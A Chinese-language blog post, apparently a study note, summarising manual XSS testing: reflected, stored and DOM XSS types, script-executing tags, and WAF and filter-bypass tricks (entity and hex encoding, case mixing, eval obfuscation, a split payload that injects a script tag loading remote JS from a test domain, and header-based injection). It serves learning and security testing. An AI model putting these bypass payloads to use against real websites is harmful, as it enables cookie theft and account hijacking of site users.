XSS手工测试阶段式小结

XSS攻击方式千变万化,越是学习这一块的知识就越感到自己对这一方面知识的匮乏。也如海绵一般,我也渴望汲取更多新的知识。文章仅仅是作为一个阶段式的小结。

反射型XSS

在用户单击时触发,只执行一次。
存在:搜索框,用户登陆口
攻击成本比存储型XSS高。
经过后端,不经过数据库。
数据流向:浏览器》后端》浏览器

存储型XSS

比反射型XSS威胁性高。
存在:留言,评论,博客日志交互处。
数据流向:浏览器》后端》数据库》后端》浏览器

DOM XSS

Document Object Model(文档对象模型),通常用于代表在HTML,XHTML,XML中的对象,使用DOM可以允许程序和脚本动态的访问和更新文档的内容,结构和样式。

DOM的规定如下:

整个文档是一个文档节点
每个HTML标签是一个元素节点
包含在HTML元素中的文本是文本节点
每一个HTML属性是一个属性节点
节点与节点之间都有等级关系
数据流:URL》浏览器

XSS利用平台:

XSS Shell, BeEF, Anehta, CAL9000。

利用:

窃取 Cookie,钓鱼欺骗,劫持帐户,执行 ActiveX,执行 Flash 内容,强迫您下载软件,或者是对硬盘和数据采取操作。

可以成功执行的标签:

<a href="javascript:confirm('a')" >1</a > a标签,点击时触发
img、video、audio标签   onclick:点击触发   onerror:当src加载不出来时触发   onload:当src加载完毕触发 并且在这些标签中,src加伪协议js代码不能触发,IE8以前的可以。
<iframe src= "javascript:alert('iframe')" width="0" height="0"/> iframe标签,写入后网页加载自动执行
<form action= "Javascript:alert('from_action0')">
<input type= "submit" formaction=" JaVaScript:alert('from_action2')">
<input type= "image" formaction=" JaVaScript:alert('from_action1')">
<input type ="text" onchange ="JaVaScript:alert('from_action3')">得到改变内容时触发

挖掘:

输入点:
是否进过DOM
HTML:标签之间,属性之间,事件之间
CSS样式表
DOM输出点:
JS代码段
过滤规则:服务端转换逻辑
不同浏览器的特征

绕过XSS-Filter

1,利用HTML标签属性值执行XSS

通常只有引用文件的属性才能触发跨站脚本。

2,回车空格TAB

如果JavaScript引擎确定一个语句是完整的,而这一行的结尾有换行符,可省略分号;
如同一行中有多个语句,那么每个语句就必须使用分号结束。

<img src="javas
cript:
alert(/xss/)" width=100 >
3,对标签属性转码
&#ASCII
&#106= &#0000106

TAB,换行,回车的ASCII

4,使用事件
5,利用CSS跨站剖析

使用CSS样式表执行JavaScript具有隐蔽,灵活多变的特点。但要注意各个浏览器之间不能通用,同一浏览器不同版本也可能不允许通用。
link,@import导入外部含有XSS代码的样式表文体。

6,扰乱过滤规则

大小写混淆,单双引号,expression+全角字符,/**/注释+混淆字符,\,\0。。。达到干扰,欺骗过滤器的目的

XSS关键字转码:\65=e=\065…
浏览器解析HTML注释存在的问题: <…//> …
利用字符编码:&#ASCII,&#十六进制,&#0,&#0;,&#00 ….
eval()函数,计算字符串:JavaScript:eval(“\x61……十六进制”)
eval()+十进制:String.fromcharCode()
样式表 \4d…十六进制
其他编码/加密技术:JScript Encode,VBScript Encode

拆分跨站法:

把跨站代码拆分成几个片段,然后再使用某种方式将其拼凑起来在一起执行,这和缓冲区溢出的shellcode的利用方式一致;
存在XSS漏洞的页面,该XSS出现在标题处,并且对输入的字符的长度有限制:

。。。<script>z='<script  src=';  /*
。。。*/z+='http://www.test.c'; /*
。。。*/z+='n/l.js><\ /script>';  /*
。。。*/document/write(z) </script>
/**/在脚本标签中是注释的意思,所以/*和*/之内的字符会自动被忽略,以上代码最终转化为:
<script> z='<script src=';
z+='http://www.test.c';
z+='n/l.js><\ /script>';
document.write(z)</script>
然后依次赋值给z变量:
<script>z='<script src=http://www.test.c/l.js></script>';
document.write(z)
</script>
Base64编码绕过
HTML实体编码的利用绕过waf
<a href= ‘javascript:alert&#40;&#39;123&#39;&#41; ‘>Hello</a>

在标签内的所有伪协议JS代码都是可以不用用双引号引起来的。

<a  href="j&#97;vascript:eval('&#97;\x6c\x65\x72\x74\x28\x22\x31\x22\x29')">Hello</a>

eval()\x十六进制 \八进制 \uunicode码

URL中有可以自定义控制前端编码
宽字节绕过:前端的编码是GKBK 那就可以用宽字节来绕过
头部Base绕过

第三方劫持 (外调J/C)

在开发者工具中的Console中使用如下代码,获取非本站(之后简称OtherWeb)的J/C

for(var i=0,tags=document.querySelectorAll('iframe[src],frame[src],script[src],link[rel=stylesheet],object[data],embed[src]'),tag;tag=tags[i];i++){
  var a = document.createElement('a');
  a.href = tag.src||tag.href||tag.data;
  if(a.hostname!=location.hostname){
    console.warn(location.hostname+' 发现第三方资源['+tag.localName+']:'+a.href);
  }
}

如果获取到来自OtherWeb的J/C,通过渗透OtherWeb修改J/C进而导致本站遭受跨站脚本攻击。

对《SS手工测试阶段式小结》的一些补充:

跳过回车,TAB换行分隔符等时要注意:
1,必须用引号围住,避免词法分析器判定结束。
2,回车,换行只在属性括号里才会起作用.
3,跳过回车和换行,不支持on事件(除开空格)。

做一只搜索引擎的爬虫(User-Agent)
ip XSS构造(X_FORWARDED_FOR,HTTP_CLIENT_IP)
cookie XSS构造

编码:

再小记一次:)
URL:
+,%20 = 空格
%+ASCII => 十六进制
unicode
HTML:
&#+十进制十六进制ASCII码unicode
CSS:
/十六进制(1-6位)

插件安全问题

番外:

Referer为空才可以访问
注意返回的type类型
阻止浏览器302跳转:
把跳转的url端口设置低于80;使用CSP策略嵌入一个iframe 拿来配合CRLF
注意头部的X-XSS-Protection

文面有点乱:)

参考:
http://www.freebuf.com/column/155799.html
http://www.freebuf.com/articles/web/157589.html
http://www.freebuf.com/articles/web/6389.html
http://www.freebuf.com/articles/web/43285.html
《XSS跨站脚本 攻击剖析与防御》 邱永华
《Web安全深度剖析》 张炳帅

  • 0
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值